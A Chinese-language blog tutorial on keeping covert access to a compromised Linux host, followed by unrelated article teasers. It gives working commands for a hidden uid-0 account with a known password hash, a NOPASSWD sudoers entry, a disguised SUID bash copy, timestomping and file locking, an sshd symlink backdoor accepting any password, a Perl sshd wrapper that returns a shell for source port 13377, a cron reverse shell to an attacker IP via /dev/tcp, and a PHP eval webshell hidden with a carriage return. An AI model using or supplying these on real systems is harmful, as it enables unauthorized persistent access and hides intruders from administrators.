02-Linux系统权限维持

ops/2024/12/1 9:54:06/

02-Linux系统权限维持

一 创建账号

1 在/etc/passwd中创建root的特权用户

/etc/passwd中数据的格式 账号:密码:uid:gid:描述:家目录:shell解释器,我们可以在/etc/passwd文件中添加一个test账号,密码为password@123(密文advwtv/9yU5yQ),uid为0的root特权用户

echo  'test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash' >> /etc/passwd

2 创建root账号的影子用户

#创建账号
useradd -o -u 0 -g 0 zhangsan
#设置密码
passwd zhangsan

3 创建拥有sudo权限的账号

创建一个普通账号

#创建账号
useradd lisi
#设置密码
passwd lisi

给账号授予sudo权限

#编辑/etc/sudoers文件
visudo
#给lisi授予sudo权限
lisi ALL=(ALL:ALL) NOPASSWD:ALL

验证lisi查看shadow

[root@localhost zhangsan]# su lisi
[lisi@localhost zhangsan]$ sudo cat /etc/shadow

4 普通用户+SUID权限维持

创建一个普通账号

#创建账号
useradd wangwu
#设置密码
passwd wangwu

给命令授予suid权限

cp /bin/bash /bin/....
chmod u+s /bin/....

验证suid权限维持

[root@localhost zhangsan]# su wangwu
[wangwu@localhost zhangsan]$ /bin/.... -p
....-4.2#

二 修改文件的属性

1 修改文件的创建时间

1.1根据时间查找文件
#查找1天内被修改过的文件
find / -mtime -1
#查找1天以前被修改过的文件
find / -mtime +1
#查找30分钟内被修改过的文件
find / -mmin -30
#查找30分钟以前被修改过的文件
find / -mmin +30
1.2 修改文件的创建时间
  • touch -r

#将/bin/bash的最后修改时间复制给/bin/.... 
touch -r /bin/bash /bin/.... 
  • touch -t

#将 /bin/....最后修改时间修改为2021年11月27日12点10分10秒
touch -t    202111271210.10     /bin/....

2 文件上锁,防止用户直接删除文件

2.1 隐藏属性介绍

Linux 系统中的文件和目录,除了可以设定普通权限和特殊权限外,文件和目录具有一些隐藏属性。而chattr 命令,专门用来修改文件或目录的隐藏属性,只有 root 用户可以使用。

chattr [+-=] [属性] 文件或目录名

属性选项功能
i如果对文件设置 i 属性,那么不允许对文件进行删除、改名,也不能添加和修改数据; 如果对目录设置 i 属性,那么只能修改目录下文件中的数据,但不允许建立和删除文件;
a如果对文件设置 a 属性,那么只能在文件中増加数据,但是不能删除和修改数据; 如果对目录设置 a 属性,那么只允许在目录中建立和修改文件,但是不允许删除文件;
u设置此属性的文件或目录,在删除时,其内容会被保存,以保证后期能够恢复,常用来防止意外删除文件或目录。
s和 u 相反,删除文件或目录时,会被彻底删除(直接从硬盘上删除,然后用 0 填充所占用的区域),不可恢复。
2.2 给文件添加隐藏属性

示例:为test.txt文件添加i属性,而后尝试删除该文件,提示无法删除。

[root@localhost ~]# chattr +i text.txt
[root@localhost ~]# rm -rf ./text.txt 
rm: 无法删除"./text.txt": 不允许的操作
2.3查看文件的隐藏属性

使用lsattr可以查看文件的隐藏属性。

[root@localhost ~]# lsattr text.txt
----i----------- text.txt

3 创建隐藏文件

#创建一个隐藏文件.shell
touch /.shell
#创建一个隐藏文件 ...
touch ...
#创建一个隐藏目录 ....
mkdir ....

三 SSH后门

1 软链接后门

#创建sshd的软件
ln -sf /usr/sbin/sshd /tmp/su
#给这个软链接开放一个端口
/tmp/su -oPort=5555

使用ssh协议任意密码登录

image-20241127145939994

2 SSH隐身登录

2.1 查看用户的登录情况
#查看当前登录到系统的所有用户 (tty 本地登录 pts 远程登录)
w,who   
#查看最近所有登录成功的用户信息
last
2.2 SSH隐身登录
ssh -T wangwu@192.168.2.26 /bin/bash -i

使用这种方式登录后,w,who,last命令看不到登录信息

image-20241127160505045

image-20241127160520441

3 上传公钥,ssh免密登录

4 ssh warpper后门

  1. 该后门需要安装perl,使用命令“ yum install perl -y ”进行安装即可

  2. 构造一个恶意的sshd,具体操作如下:

    cd /usr/sbin/
    mv sshd ../bin/echo '#!/usr/bin/perl' >sshd
    echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
    echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshdchmod u+x sshd
    systemctl restart sshd   # 重启sshd服务

    原理:首先启动的是/usr/sbin/sshd,执行到getpeername时,正则匹配会失败,接着执行下一句,启动/usr/bin/sshd(原始sshd)。原sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作,而后子进程又会执行系统默认的位置的/usr/sbin/sshd。此时子进程标准输入输出已被重定向到套接字,若getpeername能真的获取到客户端的TCP源端口且为13377(4A是13377的小端模式),就反回一个shell。

  3. 在kali上使用socat进行连接,指定源端口为13377。

    成功连接,使用w命令看到不到kali在连接此机器,。

    socat STDIO TCP4:192.168.214.129:22,sourceport=13377

    image-20220901164700751

这种后门方式隐蔽性较强,在没有连接的情况下,无法查看到对应的端口和进程,w、last等命令也查不到登录的情况

四 定时任务后门

1 在靶机上创建一个反弹shell定时任务

#编辑定时任务
crontab -e
#添加每分钟执行一次反弹shell的定时任务
*/1 * * * * bash -i >& /dev/tcp/192.168.2.32/6666 0>&1

2 在kali上开启监听

nc -lvnp 6666

image-20241127172717313

五 cat隐藏

使用cat查看文件时,cat能够识别文件中的\r这种特殊符号,当文件中有\r特殊符号时,cat只能看到\r后面的内容

echo -e '<?php eval($_POST[0]);?>\rhelloworld'    >mm.php


http://www.ppmy.cn/ops/138164.html

相关文章

网络安全概论——网络加密与密钥管理

一、网络加密的方式及实现 1、常见的加密算法 常见的密钥加密算法类型大体可以分为三类:对称加密、非对称加密、单向加密。 对称加密算法采用单密钥加密&#xff0c;在通信过程中&#xff0c;数据发送方将原始数据分割成固定大小的块&#xff0c;经过密钥和加密算法逐个加密…

【论文笔记】Towards Online Continuous Sign Language Recognition and Translation

&#x1f34e;个人主页&#xff1a;小嗷犬的个人主页 &#x1f34a;个人网站&#xff1a;小嗷犬的技术小站 &#x1f96d;个人信条&#xff1a;为天地立心&#xff0c;为生民立命&#xff0c;为往圣继绝学&#xff0c;为万世开太平。 基本信息 标题: Towards Online Continuou…

ASP.NET Core面试题汇总

1.如何在controller中注入service? 在configservices方法中配置这个service。 在controller的构造函数中&#xff0c;添加这个依赖注入。 2.ASP.NET Core 比 ASP.NET 更具优势的地方是什么&#xff1f; 跨平台&#xff0c;ASP.NET Core 可以运行在 Windows 、Linux 和 MAC 系统…

无人机:智能航点规划技术!

一、核心技术 环境感知技术 环境感知是智能航点规划的基础&#xff0c;通过传感器&#xff08;如雷达、摄像头、激光雷达等&#xff09;实时收集飞行环境的信息&#xff0c;包括地形、障碍物、天气等。 这些信息被用于构建飞行环境的数字模型&#xff0c;为后续的航点规划提…

Redis进行性能优化可以考虑的一些策略

选择合适的数据结构 根据实际的需求选择合适的数据结构&#xff0c;以高效地访问和存储多个属性。 比如如果你需要存储用户的多个属性&#xff0c;如用户名、邮箱等&#xff0c;使用哈希可以比使用多个字符串键值对更节省内存 避免大key/value 较大地key和value会占用更多的…

宠物领养平台构建:SpringBoot技术路线图

摘 要 如今社会上各行各业&#xff0c;都在用属于自己专用的软件来进行工作&#xff0c;互联网发展到这个时候&#xff0c;人们已经发现离不开了互联网。互联网的发展&#xff0c;离不开一些新的技术&#xff0c;而新技术的产生往往是为了解决现有问题而产生的。针对于宠物领养…

Spring 的 DI, 设计模式的 DI, ApiHug 的 DI

ApiHug - API Design & Develop New Paradigm.ApiHug - API Design & Develop New Paradigm.https://apihug.com/zhCN 快速开启 - ApiHug如何在15分钟内&#xff0c;使用 ApiHug 启动一个API开发项目.https://apihug.com/zhCN-docs/start Spring DI&#xff08;依赖注…

什么是默克尔树(Merkle Tree)?如何计算默克尔根?

默克尔树的概念 默克尔树(Merkle Tree)是一种特殊的二叉树&#xff0c;它的每个节点都存储了一个数据块的哈希值。哈希值是一种可以将任意长度的数据转换为固定长度的字符串的算法&#xff0c;它具有唯一性和不可逆性的特点&#xff0c;即不同的数据块会产生不同的哈希值&…